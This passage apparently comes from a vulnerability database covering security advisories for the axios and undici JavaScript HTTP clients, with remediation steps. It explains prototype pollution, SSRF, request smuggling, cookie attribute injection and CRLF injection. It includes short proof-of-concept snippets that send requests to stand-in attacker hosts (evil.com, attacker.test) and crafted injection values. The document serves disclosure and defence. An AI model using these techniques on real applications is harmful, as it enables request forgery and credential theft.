    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.33.0, 1.18.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Unintended Proxy or Intermediary ('Confused Deputy') via improper hostname normalization in the NO_PROXY environment variable. An attacker controlling request URLs can access internal or loopback services by crafting requests (with a trailing dot or [::1]) that bypass proxy restrictions, causing sensitive requests to be routed through an unintended proxy.

Note:

This is only exploitable if the application relies on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the interceptors.retry() flow in lib/handler/retry-handler.js. An attacker can cause a proxy or gateway that forwards Undici responses to emit a body whose length does not match the Content-Length header by sending a partial 206 response with mismatched framing and closing the connection to trigger a retry or resume. This can corrupt downstream HTTP framing, causing client or intermediary hangs and response parsing errors, and can expose users of the forwarding service to broken responses or connection desynchronization.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to HTTP Request Smuggling in the interceptors.retry() interceptor, which resumes a partial response and appends the resumed bytes to an already-delivered body, so the delivered body can exceed the declared Content-Length. An attacker can inject bytes beyond the Content-Length into a forwarded response and split the downstream HTTP response by running an upstream that returns a partial response and then resumes it with a Range request, for example a 404 with Content-Length: 2 that sends one byte, closes, then appends 206 Partial Content bytes. This requires the application to enable interceptors.retry(), an untrusted or faulty upstream, and a downstream proxy or gateway that forwards the body without recalculating framing.

Workaround

This vulnerability can be avoided by removing or recalculating Content-Length before forwarding a response body, so a resumed over-length body cannot desynchronize the downstream response.

Remediation

Upgrade undici to version 6.28.1, 7.29.1, 8.10.2 or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Improper Neutralization via unsanitized domain handling and unparsed attribute serialization in lib/web/cookies/util.js. An attacker can inject or override cookie attributes by supplying a crafted domain such as example.com; SameSite=None or an unparsed entry such as X-Custom=val; HttpOnly to setCookie. When applications pass user-controlled tenant or routing data into these fields, the serialized Set-Cookie header can carry attacker-chosen flags like SameSite, Secure, or HttpOnly. This can weaken CSRF protections, alter cookie visibility to scripts, or change how the browser sends the cookie.

Remediation

Upgrade undici to version 6.28.0, 7.29.0, 8.9.0 or higher.

References

• GitHub Commit v6.28.0
• Maintainer's Advisory

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the HTTP/1.1 client when an attacker-controlled upstream server injects an unsolicited response onto an idle keep-alive socket after a request completes. An attacker can cause responses to be delivered to the wrong requests by sending crafted HTTP responses through a compromised or malicious upstream server.

Note: This is only exploitable if the upstream HTTP/1.1 server is attacker-controlled or compromised and keep-alive connection reuse is enabled.

Workaround

This vulnerability can be mitigated by disabling keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.

Remediation

Upgrade undici to version 6.27.0, 7.28.0, 8.5.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release
• GitHub Release
• HackerOne Report
• Vendor Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to the allowAbsoluteUrls attribute being ignored in the call to the buildFullPath function from the HTTP adapter. An attacker could launch SSRF attacks or exfiltrate sensitive data by tricking applications into sending requests to malicious endpoints.

PoC

const axios = require('axios');
const client = axios.create({baseURL: 'http://example.com/', allowAbsoluteUrls: false});
client.get('http://evil.com');

Remediation

Upgrade axios to version 0.30.0, 1.8.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Gist
• GitHub Issue
• GitHub PR
• GitHub PR
• Vulnerable Code

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to not setting allowAbsoluteUrls to false by default when processing a requested URL in buildFullPath(). It may not be obvious that this value is being used with the less safe default, and URLs that are expected to be blocked may be accepted. This is a bypass of the fix for the vulnerability described in CVE-2025-27152.

Remediation

Upgrade axios to version 0.30.0, 1.8.3 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in the setProxy function. An attacker can obtain proxy credentials by inducing a redirect from an HTTP request sent through an authenticated proxy to an HTTPS endpoint where no proxy applies, causing the proxy credentials to be forwarded to the final origin.

Note:

This is only exploitable if the application is running in Node.js with the HTTP adapter, an initial HTTP request uses an authenticated proxy, redirects are enabled, the redirect target does not use a proxy, and the redirect shape is not stripped by confidential-header handling.

Workaround

This vulnerability can be mitigated by setting maxRedirects: 0 and handling redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy. Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

PoC

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). An attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.

Remediation

Upgrade axios to version 0.21.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Security Advisory
• NPM Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the decompression chain. An attacker can cause high CPU usage and excessive memory allocation by sending HTTP responses with a large number of chained compression steps in the Content-Encoding header.

Remediation

Upgrade undici to version 6.23.0, 7.18.2 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to CRLF Injection via the upgrade option of the client.request() function. An attacker can inject malicious data into HTTP headers or prematurely terminate HTTP requests by sending specially crafted input, potentially leading to unauthorized information disclosure or bypassing of security controls.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

• GitHub Commit
• HackerOne Report
• Red Hat Bugzilla Bug